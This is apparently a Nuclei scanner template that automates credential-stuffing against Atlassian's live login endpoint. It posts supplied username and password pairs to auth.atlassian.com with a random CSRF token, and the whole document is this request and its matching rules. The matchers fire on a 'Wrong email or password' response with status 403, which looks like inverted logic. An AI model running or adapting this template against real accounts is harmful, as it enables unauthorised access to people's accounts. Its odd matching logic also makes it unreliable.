atlassian-login-check: Atlassian Login Check

id: atlassian-login-check

info:
  name: Atlassian Login Check
  author: parthmalhotra,pdresearch
  severity: critical
  description: Checks for a valid atlassian account.
  reference:
    - https://owasp.org/www-community/attacks/Credential_stuffing
  metadata:
    max-request: 1
  tags: cloud,creds-stuffing,login-check,atlassian

self-contained: true

http:
  - raw:
      - |
        POST https://auth.atlassian.com/co/authenticate HTTP/1.1
        Host: auth.atlassian.com
        Content-Type: application/json
        Origin: https://id.atlassian.com
        Referer: https://id.atlassian.com/

        {"username":"{{username}}","password":"{{password}}","state":{"csrfToken":"{{rand_text_alpha(10, "")}}"}}

    extractors:
      - type: dsl
        dsl:
          - username
          - password
    attack: pitchfork

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"error_description":"Wrong email or password."'

      - type: status
        status:
          - 403
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